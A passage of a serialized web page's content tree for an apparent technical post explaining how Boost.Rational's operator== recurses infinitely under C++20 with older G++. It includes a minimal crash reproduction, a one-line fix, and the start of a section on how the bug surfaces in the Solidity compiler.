IntType>\nclass rational\n{\n    ...\npublic:\n    ...\n    \n    template \u003Cclass T>\n    BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n    {\n       return ((den == IntType(1)) && (num == i));\n    }\n    ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n      return a == b; \n}\n",[89871],{"type":23,"tag":56,"props":89872,"children":89873},{"__ignoreMap":7},[89874,89909,89932,89944,89951,89958,89965,89972,89979,90002,90090,90097,90148,90155,90162,90169,90176,90211,90219,90247,90286,90351,90358,90378],{"type":23,"tag":504,"props":89875,"children":89876},{"class":506,"line":507},[89877,89881,89885,89889,89893,89897,89901,89905],{"type":23,"tag":504,"props":89878,"children":89879},{"style":511},[89880],{"type":28,"value":65196},{"type":23,"tag":504,"props":89882,"children":89883},{"style":523},[89884],{"type":28,"value":7702},{"type":23,"tag":504,"props":89886,"children":89887},{"style":511},[89888],{"type":28,"value":1009},{"type":23,"tag":504,"props":89890,"children":89891},{"style":1012},[89892],{"type":28,"value":89380},{"type":23,"tag":504,"props":89894,"children":89895},{"style":523},[89896],{"type":28,"value":576},{"type":23,"tag":504,"props":89898,"children":89899},{"style":511},[89900],{"type":28,"value":1009},{"type":23,"tag":504,"props":89902,"children":89903},{"style":1012},[89904],{"type":28,"value":89199},{"type":23,"tag":504,"props":89906,"children":89907},{"style":523},[89908],{"type":28,"value":4976},{"type":23,"tag":504,"props":89910,"children":89911},{"class":506,"line":540},[89912,89916,89920,89924,89928],{"type":23,"tag":504,"props":89913,"children":89914},{"style":511},[89915],{"type":28,"value":65196},{"type":23,"tag":504,"props":89917,"children":89918},{"style":523},[89919],{"type":28,"value":7702},{"type":23,"tag":504,"props":89921,"children":89922},{"style":511},[89923],{"type":28,"value":89194},{"type":23,"tag":504,"props":89925,"children":89926},{"style":1012},[89927],{"type":28,"value":89199},{"type":23,"tag":504,"props":89929,"children":89930},{"style":523},[89931],{"type":28,"value":4976},{"type":23,"tag":504,"props":89933,"children":89934},{"class":506,"line":555},[89935,89939],{"type":23,"tag":504,"props":89936,"children":89937},{"style":511},[89938],{"type":28,"value":1009},{"type":23,"tag":504,"props":89940,"children":89941},{"style":1012},[89942],{"type":28,"value":89943}," rational\n",{"type":23,"tag":504,"props":89945,"children":89946},{"class":506,"line":633},[89947],{"type":23,"tag":504,"props":89948,"children":89949},{"style":523},[89950],{"type":28,"value":9862},{"type":23,"tag":504,"props":89952,"children":89953},{"class":506,"line":687},[89954],{"type":23,"tag":504,"props":89955,"children":89956},{"style":523},[89957],{"type":28,"value":19321},{"type":23,"tag":504,"props":89959,"children":89960},{"class":506,"line":736},[89961],{"type":23,"tag":504,"props":89962,"children":89963},{"style":511},[89964],{"type":28,"value":89227},{"type":23,"tag":504,"props":89966,"children":89967},{"class":506,"line":785},[89968],{"type":23,"tag":504,"props":89969,"children":89970},{"style":523},[89971],{"type":28,"value":19321},{"type":23,"tag":504,"props":89973,"children":89974},{"class":506,"line":813},[89975],{"type":23,"tag":504,"props":89976,"children":89977},{"style":523},[89978],{"type":28,"value":60765},{"type":23,"tag":504,"props":89980,"children":89981},{"class":506,"line":851},[89982,89986,89990,89994,89998],{"type":23,"tag":504,"props":89983,"children":89984},{"style":511},[89985],{"type":28,"value":89235},{"type":23,"tag":504,"props":89987,"children":89988},{"style":523},[89989],{"type":28,"value":7702},{"type":23,"tag":504,"props":89991,"children":89992},{"style":511},[89993],{"type":28,"value":1009},{"type":23,"tag":504,"props":89995,"children":89996},{"style":1012},[89997],{"type":28,"value":4902},{"type":23,"tag":504,"props":89999,"children":90000},{"style":523},[90001],{"type":28,"value":4976},{"type":23,"tag":504,"props":90003,"children":90004},{"class":506,"line":869},[90005,90010,90014,90019,90023,90027,90031,90036,90040,90044,90048,90052,90056,90060,90065,90069,90073,90077,90081,90085],{"type":23,"tag":504,"props":90006,"children":90007},{"style":523},[90008],{"type":28,"value":90009},"    BOOST_CONSTEXPR ",{"type":23,"tag":504,"props":90011,"children":90012},{"style":511},[90013],{"type":28,"value":89194},{"type":23,"tag":504,"props":90015,"children":90016},{"style":523},[90017],{"type":28,"value":90018}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":23,"tag":504,"props":90020,"children":90021},{"style":1012},[90022],{"type":28,"value":4971},{"type":23,"tag":504,"props":90024,"children":90025},{"style":523},[90026],{"type":28,"value":576},{"type":23,"tag":504,"props":90028,"children":90029},{"style":1012},[90030],{"type":28,"value":89428},{"type":23,"tag":504,"props":90032,"children":90033},{"style":523},[90034],{"type":28,"value":90035},">::",{"type":23,"tag":504,"props":90037,"children":90038},{"style":1012},[90039],{"type":28,"value":38128},{"type":23,"tag":504,"props":90041,"children":90042},{"style":523},[90043],{"type":28,"value":576},{"type":23,"tag":504,"props":90045,"children":90046},{"style":511},[90047],{"type":28,"value":28667},{"type":23,"tag":504,"props":90049,"children":90050},{"style":523},[90051],{"type":28,"value":90035},{"type":23,"tag":504,"props":90053,"children":90054},{"style":1012},[90055],{"type":28,"value":31734},{"type":23,"tag":504,"props":90057,"children":90058},{"style":511},[90059],{"type":28,"value":89263},{"type":23,"tag":504,"props":90061,"children":90062},{"style":523},[90063],{"type":28,"value":90064},"== (",{"type":23,"tag":504,"props":90066,"children":90067},{"style":511},[90068],{"type":28,"value":8635},{"type":23,"tag":504,"props":90070,"children":90071},{"style":1012},[90072],{"type":28,"value":4902},{"type":23,"tag":504,"props":90074,"children":90075},{"style":511},[90076],{"type":28,"value":2086},{"type":23,"tag":504,"props":90078,"children":90079},{"style":529},[90080],{"type":28,"value":2374},{"type":23,"tag":504,"props":90082,"children":90083},{"style":523},[90084],{"type":28,"value":2064},{"type":23,"tag":504,"props":90086,"children":90087},{"style":511},[90088],{"type":28,"value":90089},"const\n",{"type":23,"tag":504,"props":90091,"children":90092},{"class":506,"line":878},[90093],{"type":23,"tag":504,"props":90094,"children":90095},{"style":523},[90096],{"type":28,"value":28168},{"type":23,"tag":504,"props":90098,"children":90099},{"class":506,"line":1221},[90100,90105,90110,90114,90118,90122,90126,90130,90134,90139,90143],{"type":23,"tag":504,"props":90101,"children":90102},{"style":544},[90103],{"type":28,"value":90104},"       return",{"type":23,"tag":504,"props":90106,"children":90107},{"style":523},[90108],{"type":28,"value":90109}," ((den ",{"type":23,"tag":504,"props":90111,"children":90112},{"style":598},[90113],{"type":28,"value":7559},{"type":23,"tag":504,"props":90115,"children":90116},{"style":517},[90117],{"type":28,"value":89199},{"type":23,"tag":504,"props":90119,"children":90120},{"style":523},[90121],{"type":28,"value":526},{"type":23,"tag":504,"props":90123,"children":90124},{"style":1440},[90125],{"type":28,"value":2991},{"type":23,"tag":504,"props":90127,"children":90128},{"style":523},[90129],{"type":28,"value":7820},{"type":23,"tag":504,"props":90131,"children":90132},{"style":598},[90133],{"type":28,"value":71946},{"type":23,"tag":504,"props":90135,"children":90136},{"style":523},[90137],{"type":28,"value":90138}," (num ",{"type":23,"tag":504,"props":90140,"children":90141},{"style":598},[90142],{"type":28,"value":7559},{"type":23,"tag":504,"props":90144,"children":90145},{"style":523},[90146],{"type":28,"value":90147}," i));\n",{"type":23,"tag":504,"props":90149,"children":90150},{"class":506,"line":1276},[90151],{"type":23,"tag":504,"props":90152,"children":90153},{"style":523},[90154],{"type":28,"value":875},{"type":23,"tag":504,"props":90156,"children":90157},{"class":506,"line":1285},[90158],{"type":23,"tag":504,"props":90159,"children":90160},{"style":523},[90161],{"type":28,"value":19321},{"type":23,"tag":504,"props":90163,"children":90164},{"class":506,"line":1294},[90165],{"type":23,"tag":504,"props":90166,"children":90167},{"style":523},[90168],{"type":28,"value":884},{"type":23,"tag":504,"props":90170,"children":90171},{"class":506,"line":1302},[90172],{"type":23,"tag":504,"props":90173,"children":90174},{"emptyLinePlaceholder":16},[90175],{"type":28,"value":1038},{"type":23,"tag":504,"props":90177,"children":90178},{"class":506,"line":1311},[90179,90183,90187,90191,90195,90199,90203,90207],{"type":23,"tag":504,"props":90180,"children":90181},{"style":511},[90182],{"type":28,"value":65196},{"type":23,"tag":504,"props":90184,"children":90185},{"style":523},[90186],{"type":28,"value":7702},{"type":23,"tag":504,"props":90188,"children":90189},{"style":511},[90190],{"type":28,"value":1009},{"type":23,"tag":504,"props":90192,"children":90193},{"style":1012},[90194],{"type":28,"value":89380},{"type":23,"tag":504,"props":90196,"children":90197},{"style":523},[90198],{"type":28,"value":576},{"type":23,"tag":504,"props":90200,"children":90201},{"style":511},[90202],{"type":28,"value":1009},{"type":23,"tag":504,"props":90204,"children":90205},{"style":1012},[90206],{"type":28,"value":89199},{"type":23,"tag":504,"props":90208,"children":90209},{"style":523},[90210],{"type":28,"value":4976},{"type":23,"tag":504,"props":90212,"children":90213},{"class":506,"line":1334},[90214],{"type":23,"tag":504,"props":90215,"children":90216},{"style":523},[90217],{"type":28,"value":90218},"BOOST_CONSTEXPR\n",{"type":23,"tag":504,"props":90220,"children":90221},{"class":506,"line":1370},[90222,90227,90232,90237,90242],{"type":23,"tag":504,"props":90223,"children":90224},{"style":511},[90225],{"type":28,"value":90226},"inline",{"type":23,"tag":504,"props":90228,"children":90229},{"style":511},[90230],{"type":28,"value":90231}," typename",{"type":23,"tag":504,"props":90233,"children":90234},{"style":523},[90235],{"type":28,"value":90236}," boost::",{"type":23,"tag":504,"props":90238,"children":90239},{"style":1012},[90240],{"type":28,"value":90241},"enable_if_c",{"type":23,"tag":504,"props":90243,"children":90244},{"style":598},[90245],{"type":28,"value":90246}," \u003C\n",{"type":23,"tag":504,"props":90248,"children":90249},{"class":506,"line":1384},[90250,90255,90260,90264,90268,90273,90277,90281],{"type":23,"tag":504,"props":90251,"children":90252},{"style":523},[90253],{"type":28,"value":90254},"   rational_detail::is_compatible_integer\u003C",{"type":23,"tag":504,"props":90256,"children":90257},{"style":1012},[90258],{"type":28,"value":90259},"Arg",{"type":23,"tag":504,"props":90261,"children":90262},{"style":523},[90263],{"type":28,"value":576},{"type":23,"tag":504,"props":90265,"children":90266},{"style":1012},[90267],{"type":28,"value":89428},{"type":23,"tag":504,"props":90269,"children":90270},{"style":523},[90271],{"type":28,"value":90272},">::value, ",{"type":23,"tag":504,"props":90274,"children":90275},{"style":511},[90276],{"type":28,"value":28667},{"type":23,"tag":504,"props":90278,"children":90279},{"style":598},[90280],{"type":28,"value":9443},{"type":23,"tag":504,"props":90282,"children":90283},{"style":523},[90284],{"type":28,"value":90285},"::type\n",{"type":23,"tag":504,"props":90287,"children":90288},{"class":506,"line":1392},[90289,90294,90299,90303,90307,90311,90315,90319,90323,90327,90331,90335,90339,90343,90347],{"type":23,"tag":504,"props":90290,"children":90291},{"style":511},[90292],{"type":28,"value":90293},"   operator",{"type":23,"tag":504,"props":90295,"children":90296},{"style":523},[90297],{"type":28,"value":90298}," == (",{"type":23,"tag":504,"props":90300,"children":90301},{"style":511},[90302],{"type":28,"value":8635},{"type":23,"tag":504,"props":90304,"children":90305},{"style":1012},[90306],{"type":28,"value":89380},{"type":23,"tag":504,"props":90308,"children":90309},{"style":511},[90310],{"type":28,"value":2086},{"type":23,"tag":504,"props":90312,"children":90313},{"style":529},[90314],{"type":28,"value":89461},{"type":23,"tag":504,"props":90316,"children":90317},{"style":523},[90318],{"type":28,"value":576},{"type":23,"tag":504,"props":90320,"children":90321},{"style":511},[90322],{"type":28,"value":8635},{"type":23,"tag":504,"props":90324,"children":90325},{"style":1012},[90326],{"type":28,"value":89215},{"type":23,"tag":504,"props":90328,"children":90329},{"style":523},[90330],{"type":28,"value":4789},{"type":23,"tag":504,"props":90332,"children":90333},{"style":1012},[90334],{"type":28,"value":89428},{"type":23,"tag":504,"props":90336,"children":90337},{"style":523},[90338],{"type":28,"value":9443},{"type":23,"tag":504,"props":90340,"children":90341},{"style":511},[90342],{"type":28,"value":2086},{"type":23,"tag":504,"props":90344,"children":90345},{"style":529},[90346],{"type":28,"value":88587},{"type":23,"tag":504,"props":90348,"children":90349},{"style":523},[90350],{"type":28,"value":1192},{"type":23,"tag":504,"props":90352,"children":90353},{"class":506,"line":1400},[90354],{"type":23,"tag":504,"props":90355,"children":90356},{"style":523},[90357],{"type":28,"value":9862},{"type":23,"tag":504,"props":90359,"children":90360},{"class":506,"line":1422},[90361,90365,90369,90373],{"type":23,"tag":504,"props":90362,"children":90363},{"style":544},[90364],{"type":28,"value":38332},{"type":23,"tag":504,"props":90366,"children":90367},{"style":523},[90368],{"type":28,"value":15743},{"type":23,"tag":504,"props":90370,"children":90371},{"style":598},[90372],{"type":28,"value":7559},{"type":23,"tag":504,"props":90374,"children":90375},{"style":523},[90376],{"type":28,"value":90377}," b; \n",{"type":23,"tag":504,"props":90379,"children":90380},{"class":506,"line":1450},[90381],{"type":23,"tag":504,"props":90382,"children":90383},{"style":523},[90384],{"type":28,"value":884},{"type":23,"tag":24,"props":90386,"children":90387},{},[90388,90390,90396],{"type":28,"value":90389},"This was designed under C++17 semantics. Back then, ",{"type":23,"tag":56,"props":90391,"children":90393},{"className":90392},[],[90394],{"type":28,"value":90395},"rhs == lhs",{"type":28,"value":90397}," would fall back to member overloads if available. All good.",{"type":23,"tag":24,"props":90399,"children":90400},{},[90401,90403,90408,90409,90415],{"type":28,"value":90402},"But under ",{"type":23,"tag":56,"props":90404,"children":90406},{"className":90405},[],[90407],{"type":28,"value":88952},{"type":28,"value":20485},{"type":23,"tag":56,"props":90410,"children":90412},{"className":90411},[],[90413],{"type":28,"value":90414},"G++ \u003C 14",{"type":28,"value":3472},{"type":23,"tag":350,"props":90417,"children":90418},{},[90419,90424,90429,90434],{"type":23,"tag":45,"props":90420,"children":90421},{},[90422],{"type":28,"value":90423},"G++ incorrectly chooses this non-member operator first",{"type":23,"tag":45,"props":90425,"children":90426},{},[90427],{"type":28,"value":90428},"C++20 reverses the comparison",{"type":23,"tag":45,"props":90430,"children":90431},{},[90432],{"type":28,"value":90433},"Which calls the same function again with arguments flipped",{"type":23,"tag":45,"props":90435,"children":90436},{},[90437],{"type":28,"value":90438},"And so on...",{"type":23,"tag":24,"props":90440,"children":90441},{},[90442,90444,90449],{"type":28,"value":90443},"This creates ",{"type":23,"tag":296,"props":90445,"children":90446},{},[90447],{"type":28,"value":90448},"infinite recursion",{"type":28,"value":320},{"type":23,"tag":24,"props":90451,"children":90452},{},[90453],{"type":28,"value":90454},"A minimal example:",{"type":23,"tag":494,"props":90456,"children":90458},{"code":90457,"language":28093,"meta":7,"className":28091,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n    boost::rational\u003Cint> r;\n    return r == 0;\n}\n",[90459],{"type":23,"tag":56,"props":90460,"children":90461},{"__ignoreMap":7},[90462,90470,90482,90489,90504,90528,90551],{"type":23,"tag":504,"props":90463,"children":90464},{"class":506,"line":507},[90465],{"type":23,"tag":504,"props":90466,"children":90467},{"style":1106},[90468],{"type":28,"value":90469},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":23,"tag":504,"props":90471,"children":90472},{"class":506,"line":540},[90473,90477],{"type":23,"tag":504,"props":90474,"children":90475},{"style":544},[90476],{"type":28,"value":89166},{"type":23,"tag":504,"props":90478,"children":90479},{"style":622},[90480],{"type":28,"value":90481}," \u003Cboost/rational.hpp>\n",{"type":23,"tag":504,"props":90483,"children":90484},{"class":506,"line":555},[90485],{"type":23,"tag":504,"props":90486,"children":90487},{"emptyLinePlaceholder":16},[90488],{"type":28,"value":1038},{"type":23,"tag":504,"props":90490,"children":90491},{"class":506,"line":633},[90492,90496,90500],{"type":23,"tag":504,"props":90493,"children":90494},{"style":511},[90495],{"type":28,"value":18028},{"type":23,"tag":504,"props":90497,"children":90498},{"style":517},[90499],{"type":28,"value":89531},{"type":23,"tag":504,"props":90501,"children":90502},{"style":523},[90503],{"type":28,"value":1030},{"type":23,"tag":504,"props":90505,"children":90506},{"class":506,"line":687},[90507,90512,90516,90520,90524],{"type":23,"tag":504,"props":90508,"children":90509},{"style":523},[90510],{"type":28,"value":90511},"    boost::rational",{"type":23,"tag":504,"props":90513,"children":90514},{"style":598},[90515],{"type":28,"value":4789},{"type":23,"tag":504,"props":90517,"children":90518},{"style":511},[90519],{"type":28,"value":18028},{"type":23,"tag":504,"props":90521,"children":90522},{"style":598},[90523],{"type":28,"value":9443},{"type":23,"tag":504,"props":90525,"children":90526},{"style":523},[90527],{"type":28,"value":89560},{"type":23,"tag":504,"props":90529,"children":90530},{"class":506,"line":736},[90531,90535,90539,90543,90547],{"type":23,"tag":504,"props":90532,"children":90533},{"style":544},[90534],{"type":28,"value":15968},{"type":23,"tag":504,"props":90536,"children":90537},{"style":523},[90538],{"type":28,"value":89572},{"type":23,"tag":504,"props":90540,"children":90541},{"style":598},[90542],{"type":28,"value":7559},{"type":23,"tag":504,"props":90544,"children":90545},{"style":1440},[90546],{"type":28,"value":2023},{"type":23,"tag":504,"props":90548,"children":90549},{"style":523},[90550],{"type":28,"value":866},{"type":23,"tag":504,"props":90552,"children":90553},{"class":506,"line":785},[90554],{"type":23,"tag":504,"props":90555,"children":90556},{"style":523},[90557],{"type":28,"value":884},{"type":23,"tag":24,"props":90559,"children":90560},{},[90561],{"type":28,"value":90562},"Expected output: nothing.",{"type":23,"tag":24,"props":90564,"children":90565},{},[90566],{"type":28,"value":90567},"Actual: segmentation fault (stack overflow).",{"type":23,"tag":24,"props":90569,"children":90570},{},[90571,90573,90580],{"type":28,"value":90572},"This exact pattern was ",{"type":23,"tag":92,"props":90574,"children":90577},{"href":90575,"rel":90576},"https://github.com/boostorg/rational/issues/43",[96],[90578],{"type":28,"value":90579},"reported and fixed in Boost rational",{"type":28,"value":90581},", but only in version 1.75+.",{"type":23,"tag":24,"props":90583,"children":90584},{},[90585],{"type":28,"value":90586},"Here’s the one-line fix:",{"type":23,"tag":494,"props":90588,"children":90590},{"code":90589,"language":39336,"meta":7,"className":39334,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n-     return a == b;\n+     return a.operator==(b);\n}\n",[90591],{"type":23,"tag":56,"props":90592,"children":90593},{"__ignoreMap":7},[90594,90602,90609,90617,90625,90633,90640,90648,90656],{"type":23,"tag":504,"props":90595,"children":90596},{"class":506,"line":507},[90597],{"type":23,"tag":504,"props":90598,"children":90599},{"style":523},[90600],{"type":28,"value":90601},"template \u003Cclass Arg, class IntType>\n",{"type":23,"tag":504,"props":90603,"children":90604},{"class":506,"line":540},[90605],{"type":23,"tag":504,"props":90606,"children":90607},{"style":523},[90608],{"type":28,"value":90218},{"type":23,"tag":504,"props":90610,"children":90611},{"class":506,"line":555},[90612],{"type":23,"tag":504,"props":90613,"children":90614},{"style":523},[90615],{"type":28,"value":90616},"inline typename boost::enable_if_c \u003C\n",{"type":23,"tag":504,"props":90618,"children":90619},{"class":506,"line":633},[90620],{"type":23,"tag":504,"props":90621,"children":90622},{"style":523},[90623],{"type":28,"value":90624},"   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":23,"tag":504,"props":90626,"children":90627},{"class":506,"line":687},[90628],{"type":23,"tag":504,"props":90629,"children":90630},{"style":523},[90631],{"type":28,"value":90632},"   operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":23,"tag":504,"props":90634,"children":90635},{"class":506,"line":736},[90636],{"type":23,"tag":504,"props":90637,"children":90638},{"style":523},[90639],{"type":28,"value":9862},{"type":23,"tag":504,"props":90641,"children":90642},{"class":506,"line":785},[90643],{"type":23,"tag":504,"props":90644,"children":90645},{"style":622},[90646],{"type":28,"value":90647},"-     return a == b;\n",{"type":23,"tag":504,"props":90649,"children":90650},{"class":506,"line":813},[90651],{"type":23,"tag":504,"props":90652,"children":90653},{"style":1440},[90654],{"type":28,"value":90655},"+     return a.operator==(b);\n",{"type":23,"tag":504,"props":90657,"children":90658},{"class":506,"line":851},[90659],{"type":23,"tag":504,"props":90660,"children":90661},{"style":523},[90662],{"type":28,"value":884},{"type":23,"tag":24,"props":90664,"children":90665},{},[90666,90668,90673,90675,90680],{"type":28,"value":90667},"Instead of calling ",{"type":23,"tag":56,"props":90669,"children":90671},{"className":90670},[],[90672],{"type":28,"value":88998},{"type":28,"value":90674}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":23,"tag":56,"props":90676,"children":90678},{"className":90677},[],[90679],{"type":28,"value":89006},{"type":28,"value":320},{"type":23,"tag":24,"props":90682,"children":90683},{},[90684],{"type":28,"value":90685},"This prevents C++20 from triggering recursive rewrites.",{"type":23,"tag":17774,"props":90687,"children":90688},{},[],{"type":23,"tag":70,"props":90690,"children":90692},{"id":90691},"part-iv-how-this-breaks-solidity",[90693],{"type":28,"value":90694},"Part IV: How This Breaks Solidity",{"type":23,"tag":24,"props":90696,"children":90697},{},[90698,90700,90705],{"type":28,"value":90699},"The Solidity codebase uses ",{"type":23,"tag":56,"props":90701,"children":90703},{"className":90702},[],[90704],{"type":28,"value":88853},{"type":28,"value":90706}," to represent certain compile-time constant expressions.",{"type":23,"tag":24,"props":90708,"children":90709},{},[90710,90712,90718],{"type":28,"value":90711},"One snippet that can trigger this issue appears in ",{"type":23,"tag":56,"props":90713,"children":90715},{"className":90714},[],[90716],{"type":28,"value":90717},"DeclarationTypeChecker::endVisit",{"type":28,"value":3472},{"type":23,"tag":494,"props":90720,"children":90722},{"code":90721,"language":28093,"meta":7,"className":28091,"style":7},"if (Expression const* length = _typeName.length()) {\n    std::optional\u003Crational> lengthValue;\n\n    if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n        ...\n    else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n        lengthValue = value->value;\n\n    if (!lengthValue)\n        ...\n    else if (*lengthValue == 0)  // \u003C-- Infinite recursion happens here\n        ...\n}\n",[90723],{"type":23,"tag":56,"props":90724,"children":90725},{"__ignoreMap":7},[90726,90773,90798,90805,90883,90890,90943,90971,90978,90998,91005,91045,91052],{"type":23,"tag":504,"props":90727,"children":90728},{"class":506,"line":507},[90729,90733,90738,90742,90746,90751,90755,90760,90764,90768],{"type":23,"tag":504,"props":90730,"children":90731},{"style":544},[90732],{"type":28,"value":14560},{"type":23,"tag":504,"props":90734,"children":90735},{"style":523},[90736],{"type":28,"value":90737}," (Expression ",{"type":23,"tag":504,"props":90739,"children":90740},{"style":511},[90741],{"type":28,"value":8635},{"type":23,"tag":504,"props":90743,"children":90744},{"style":598},[90745],{"type":28,"value":3552},{"type":23,"tag":504,"props":90747,"children":90748},{"style":523},[90749],{"type":28,"value":90750}," length ",{"type":23,"tag":504,"props":90752,"children":90753},{"style":598},[90754],{"type":28,"value":601},{"type":23,"tag":504,"props":90756,"children":90757},{"style":529},[90758],{"type":28,"value":90759}," _typeName",{"type":23,"tag":504,"props":90761,"children":90762},{"style":523},[90763],{"type":28,"value":320},{"type":23,"tag":504,"props":90765,"children":90766},{"style":517},[90767],{"type":28,"value":7487},{"type":23,"tag":504,"props":90769,"children":90770},{"style":523},[90771],{"type":28,"value":90772},"()) {\n",{"type":23,"tag":504,"props":90774,"children":90775},{"class":506,"line":540},[90776,90781,90785,90789,90793],{"type":23,"tag":504,"props":90777,"children":90778},{"style":523},[90779],{"type":28,"value":90780},"    std::optional",{"type":23,"tag":504,"props":90782,"children":90783},{"style":598},[90784],{"type":28,"value":4789},{"type":23,"tag":504,"props":90786,"children":90787},{"style":523},[90788],{"type":28,"value":89858},{"type":23,"tag":504,"props":90790,"children":90791},{"style":598},[90792],{"type":28,"value":9443},{"type":23,"tag":504,"props":90794,"children":90795},{"style":523},[90796],{"type":28,"value":90797}," lengthValue;\n",{"type":23,"tag":504,"props":90799,"children":90800},{"class":506,"line":555},[90801],{"type":23,"tag":504,"props":90802,"children":90803},{"emptyLinePlaceholder":16},[90804],{"type":28,"value":1038},{"type":23,"tag":504,"props":90806,"children":90807},{"class":506,"line":633},[90808,90812,90816,90820,90824,90828,90832,90836,90840,90845,90849,90853,90857,90861,90865,90870,90874,90878],{"type":23,"tag":504,"props":90809,"children":90810},{"style":544},[90811],{"type":28,"value":11261},{"type":23,"tag":504,"props":90813,"children":90814},{"style":523},[90815],{"type":28,"value":801},{"type":23,"tag":504,"props":90817,"children":90818},{"style":529},[90819],{"type":28,"value":7487},{"type":23,"tag":504,"props":90821,"children":90822},{"style":523},[90823],{"type":28,"value":12738},{"type":23,"tag":504,"props":90825,"children":90826},{"style":517},[90827],{"type":28,"value":29145},{"type":23,"tag":504,"props":90829,"children":90830},{"style":523},[90831],{"type":28,"value":29150},{"type":23,"tag":504,"props":90833,"children":90834},{"style":529},[90835],{"type":28,"value":31734},{"type":23,"tag":504,"props":90837,"children":90838},{"style":598},[90839],{"type":28,"value":13166},{"type":23,"tag":504,"props":90841,"children":90842},{"style":529},[90843],{"type":28,"value":90844}," length",{"type":23,"tag":504,"props":90846,"children":90847},{"style":523},[90848],{"type":28,"value":12738},{"type":23,"tag":504,"props":90850,"children":90851},{"style":517},[90852],{"type":28,"value":29145},{"type":23,"tag":504,"props":90854,"children":90855},{"style":523},[90856],{"type":28,"value":29150},{"type":23,"tag":504,"props":90858,"children":90859},{"style":529},[90860],{"type":28,"value":31734},{"type":23,"tag":504,"props":90862,"children":90863},{"style":523},[90864],{"type":28,"value":12738},{"type":23,"tag":504,"props":90866,"children":90867},{"style":517},[90868],{"type":28,"value":90869},"category",{"type":23,"tag":504,"props":90871,"children":90872},{"style":523},[90873],{"type":28,"value":13024},{"type":23,"tag":504,"props":90875,"children":90876},{"style":598},[90877],{"type":28,"value":7559},{"type":23,"tag":504,"props":90879,"children":90880},{"style":523},[90881],{"type":28,"value":90882}," Type::Category::RationalNumber)\n",{"type":23,"tag":504,"props":90884,"children":90885},{"class":506,"line":687},[90886],{"type":23,"tag":504,"props":90887,"children":90888},{"style":523},[90889],{"type":28,"value":80593},{"type":23,"tag":504,"props":90891,"children":90892},{"class":506,"line":736},[90893,90898,90902,90907,90911,90916,90920,90925,90929,90934,90938],{"type":23,"tag":504,"props":90894,"children":90895},{"style":544},[90896],{"type":28,"value":90897},"    else",{"type":23,"tag":504,"props":90899,"children":90900},{"style":544},[90901],{"type":28,"value":14766},{"type":23,"tag":504,"props":90903,"children":90904},{"style":523},[90905],{"type":28,"value":90906}," (std::optional",{"type":23,"tag":504,"props":90908,"children":90909},{"style":598},[90910],{"type":28,"value":4789},{"type":23,"tag":504,"props":90912,"children":90913},{"style":523},[90914],{"type":28,"value":90915},"ConstantEvaluator::TypedRational",{"type":23,"tag":504,"props":90917,"children":90918},{"style":598},[90919],{"type":28,"value":9443},{"type":23,"tag":504,"props":90921,"children":90922},{"style":523},[90923],{"type":28,"value":90924}," value ",{"type":23,"tag":504,"props":90926,"children":90927},{"style":598},[90928],{"type":28,"value":601},{"type":23,"tag":504,"props":90930,"children":90931},{"style":523},[90932],{"type":28,"value":90933}," ConstantEvaluator::",{"type":23,"tag":504,"props":90935,"children":90936},{"style":517},[90937],{"type":28,"value":36981},{"type":23,"tag":504,"props":90939,"children":90940},{"style":523},[90941],{"type":28,"value":90942},"(...))\n",{"type":23,"tag":504,"props":90944,"children":90945},{"class":506,"line":785},[90946,90951,90955,90959,90963,90967],{"type":23,"tag":504,"props":90947,"children":90948},{"style":523},[90949],{"type":28,"value":90950},"        lengthValue ",{"type":23,"tag":504,"props":90952,"children":90953},{"style":598},[90954],{"type":28,"value":601},{"type":23,"tag":504,"props":90956,"children":90957},{"style":529},[90958],{"type":28,"value":31488},{"type":23,"tag":504,"props":90960,"children":90961},{"style":523},[90962],{"type":28,"value":12738},{"type":23,"tag":504,"props":90964,"children":90965},{"style":529},[90966],{"type":28,"value":38128},{"type":23,"tag":504,"props":90968,"children":90969},{"style":523},[90970],{"type":28,"value":866},{"type":23,"tag":504,"props":90972,"children":90973},{"class":506,"line":813},[90974],{"type":23,"tag":504,"props":90975,"children":90976},{"emptyLinePlaceholder":16},[90977],{"type":28,"value":1038},{"type":23,"tag":504,"props":90979,"children":90980},{"class":506,"line":851},[90981,90985,90989,90993],{"type":23,"tag":504,"props":90982,"children":90983},{"style":544},[90984],{"type":28,"value":11261},{"type":23,"tag":504,"props":90986,"children":90987},{"style":523},[90988],{"type":28,"value":801},{"type":23,"tag":504,"props":90990,"children":90991},{"style":598},[90992],{"type":28,"value":19603},{"type":23,"tag":504,"props":90994,"children":90995},{"style":523},[90996],{"type":28,"value":90997},"lengthValue)\n",{"type":23,"tag":504,"props":90999,"children":91000},{"class":506,"line":869},[91001],{"type":23,"tag":504,"props":91002,"children":91003},{"style":523},[91004],{"type":28,"value":80593},{"type":23,"tag":504,"props":91006,"children":91007},{"class":506,"line":878},[91008,91012,91016,91020,91024,91028,91032,91036,91040],{"type":23,"tag":504,"props":91009,"children":91010},{"style":544},[91011],{"type":28,"value":90897},{"type":23,"tag":504,"props":91013,"children":91014},{"style":544},[91015],{"type":28,"value":14766},{"type":23,"tag":504,"props":91017,"children":91018},{"style":523},[91019],{"type":28,"value":801},{"type":23,"tag":504,"props":91021,"children":91022},{"style":598},[91023],{"type":28,"value":3552},{"type":23,"tag":504,"props":91025,"children":91026},{"style":523},[91027],{"type":28,"value":88829},{"type":23,"tag":504,"props":91029,"children":91030},{"style":598},[91031],{"type":28,"value":7559},{"type":23,"tag":504,"props":91033,"children":91034},{"style"